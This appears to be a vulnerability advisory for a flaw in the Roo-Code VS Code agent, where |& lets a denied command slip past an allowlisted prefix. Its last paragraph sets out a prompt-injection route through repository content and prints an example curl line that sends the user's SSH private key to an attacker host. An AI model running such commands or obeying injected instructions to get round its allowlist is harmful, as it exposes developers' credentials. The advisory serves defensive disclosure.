Roo-Code CVE-2026-82536

Exploitation requires all of the following to be true simultaneously: Roo-Code version 3.54.0 or earlier installed as a VS Code extension; the auto-approve/auto-execute shell command feature enabled by the developer; at least one command prefix present on the configured allowlist; and the developer's default shell must be bash or a compatible shell that interprets |& as a pipe operator. The attacker must deliver malicious content - through a repository file, a crafted prompt, or any other agent-readable input - that causes Roo-Code's AI to generate the bypass pipeline. Exploitation is bounded to the developer's local workstation environment and does not directly compromise remote infrastructure unless the developer's machine holds additional elevated credentials or network access. No exploitation outside proof-of-concept research has been confirmed.

The CVSS 4.0 score of 7.7 (AV:N/AC:L/AT:P/PR:N/UI:P) reflects meaningful but conditional risk: the auto-execute feature must be enabled and a command allowlist configured (AT:P), and the user must process attacker-supplied content through the agent (UI:P). A public proof-of-concept writeup on GitHub elevates practical exploitability beyond the base score, as the bypass technique is straightforward once the configuration is known. No EPSS score or CISA KEV listing is available in the input data, limiting exploitation status to PoC-level research at time of analysis. The full C:H/VI:H/VA:H impact is plausible because the denied command executes with developer-level OS privileges - even a mid-sized municipal IT team in gdynia deploying Roo-Code for developer productivity should treat this as urgent if auto-approve with shell execution is active. The 'Authentication Bypass' tag in the metadata is a loose fit; the mechanism is better characterized as an incomplete allowlist (CWE-184), not a bypass of authentication controls. No conflicting signals exist between the CVSS vector and the description - both consistently describe a conditional network-reachable exploit requiring user interaction.

An attacker embeds a malicious instruction in a repository README, source file comment, or other agent-readable content. When a developer uses Roo-Code to process the repository and the agent generates a shell command containing an allowlisted prefix such as echo followed by |& and a blocked command such as curl attacker.com/exfil?d=$(cat ~/.ssh/id_rsa), the parser approves the pipeline and bash executes the denied exfiltration command with full developer-level privileges. A public proof-of-concept demonstrating this exact technique is available at the referenced GitHub repository.